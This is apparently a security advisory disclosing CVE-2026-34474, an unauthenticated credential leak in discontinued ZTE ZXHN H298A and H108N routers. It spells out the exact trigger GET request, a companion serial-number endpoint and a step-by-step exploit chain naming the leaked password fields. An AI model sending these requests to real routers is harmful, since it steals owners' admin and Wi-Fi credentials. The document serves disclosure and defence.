CVE-2026–34474: ZTE H298A / H108N Credential Leak via ETHCheat

Some router bugs expose internal state through side channels. This one is more direct: the management interface on ZTE ZXHN H298A and H108N…

Monx Research

~5 min read · May 22, 2026 (Updated: May 22, 2026) · Free: Yes

Some router bugs expose internal state through side channels. This one is more direct: the management interface on ZTE ZXHN H298A and H108N returns the live administrator password and WLAN secret in a single unauthenticated GET request. The trigger is a crafted parameter named ETHCheat. The returned HTML contains the credentials in named input fields. No authentication is required, no session state is needed, and no brute force is involved.

Executive Summary

CVE-2026–34474 is an unauthenticated credential disclosure vulnerability in the ZTE ZXHN H298A V1.1 and ZTE ZXHN H108N V2.6 router management interfaces. A GET request to /getpage.lua with the parameter ETHCheat=1 causes the router to return credential-bearing HTML, including the administrator password (OBJ_USERINFO_IDPassword1), the WLAN passphrase (WLANPSK_KeyPassphrase1), and the SSID (WLANAP_ESSID1). A related wizard endpoint also exposes the device serial number. The exposed data provides direct access to the router management panel and the wireless network.

Both products were discontinued by ZTE (H298A in 2022, H108N in 2023). ZTE declined vendor-side CVE assignment on that basis. MITRE assigned CVE-2026–34474 in March 2026 and it was published on cve.org on May 6, 2026.

Affected Systems

ZTE ZXHN H298A firmware V1.1 (end-of-life 2022)

ZTE ZXHN H108N firmware V2.6 (end-of-life 2023)

Some same-model variants reportedly leaked only a partial field set (username, ESSID, serial, or MAC) rather than the full admin-and-WLAN secret combination. The core authentication boundary failure is the same across all observed variants.

Exploit Path

Trigger request:

GET /getpage.lua?pid=1000&ETHCheat=1 HTTP/1.1
Host: [redacted-router-ip]
Connection: close

Related serial number endpoint:

GET /wizard_page/wizard_overETHfail_set_lua.lua HTTP/1.1
Host: [redacted-router-ip]

Step-by-step exploit chain:

Send GET /getpage.lua?pid=1000&ETHCheat=1 to the router management UI.
2. The router returns credential-bearing HTML without any authentication check.
3. Extract OBJ_USERINFO_IDPassword1, WLANPSK_KeyPassphrase1, and WLANAP_ESSID1 from the response.
4. Optionally query wizard_overETHfail_set_lua.lua to recover the serial number.
5. Use the leaked admin password to authenticate to the management interface.

The extraction script in poc/extract_ethcheat_credentials.py does not depend on browser state. It requests the page and reads the secrets from named markup fields in the response.

What the Response Looks Like

The evidence is the response body itself. The returned HTML contains hidden input fields with the following structure (values redacted for public disclosure):

<!-- Credential-bearing fields returned in the unauthenticated response -->
<input id="OBJ_USERINFO_IDPassword1" value="[REDACTED]">
<input id="WLANAP_ESSID1" value="[REDACTED]">
<input id="WLANPSK_KeyPassphrase1" value="[REDACTED]">

The serial number endpoint returns structured output:

SerialNumber [REDACTED]

These are not inferred values or session artifacts. They are the live secrets returned verbatim by the router in the body of an unauthenticated request.

The ETHCheat infographic and redacted evidence screenshots are available in the canonical write-up.

Root Cause Analysis

This is not a weak-password or brute-force issue. It is a fundamental breakdown of the authentication boundary. Four details explain the severity:

The trigger is deterministic. The PoC does not rely on timing, session reuse, or post-auth state. A direct GET to getpage.lua?pid=1000&ETHCheat=1 reproduces the disclosure on the affected builds without variation.

2. The secrets are in the response body. The administrator password and WLAN PSK are not inferred indirectly. The extraction script pulls them from named HTML fields present in the returned page.

3. A related endpoint leaks device identity data. The companion request to wizard_overETHfail_set_lua.lua exposes the serial number in structured output, showing the disclosure surface extends beyond a single page template.

4. Variant behavior differs, but the auth boundary still fails. Even where the same model family leaks only username, ESSID, serial, or MAC address, the router is still returning sensitive management data to an unauthenticated caller. The core trust boundary is broken in all cases.

The server-side Lua implementation that honors ETHCheat=1 remains closed source. The black-box evidence is sufficient to prove the vulnerability: the router deterministically serves plaintext secrets to unauthenticated callers.

Impact

The leaked administrator password provides direct access to the router management interface on affected builds. The WLAN PSK disclosure extends the impact beyond the web panel into local network access by anyone within Wi-Fi range. Serial and identifier leakage provides additional device intelligence even on reduced-disclosure variants. No login is required to obtain any of this data. Beyond the immediate credential impact, WLAN PSK exposure enables an attacker within radio range to join the local network without the owner's knowledge, potentially using the connection for lateral movement or traffic interception. The combined disclosure of administrator password plus WLAN credentials plus serial number creates a complete device fingerprint usable for targeted attack chains.

Vendor Position

ZTE PSIRT acknowledged the original H298A / H108N report in May 2024 and later stated on 2026–02–02 that both products had been discontinued (H298A in 2022, H108N in 2023), placing them outside the scope of active vulnerability handling. ZTE declined vendor-side CVE assignment.

MITRE later assigned CVE-2026–34474 independently. The vendor's end-of-life position does not patch deployed devices. Any H298A or H108N unit that remains powered on and network-reachable is still vulnerable. Network operators running either model on live infrastructure should treat the device as permanently exposed and prioritize replacement or network isolation as the only available risk reduction.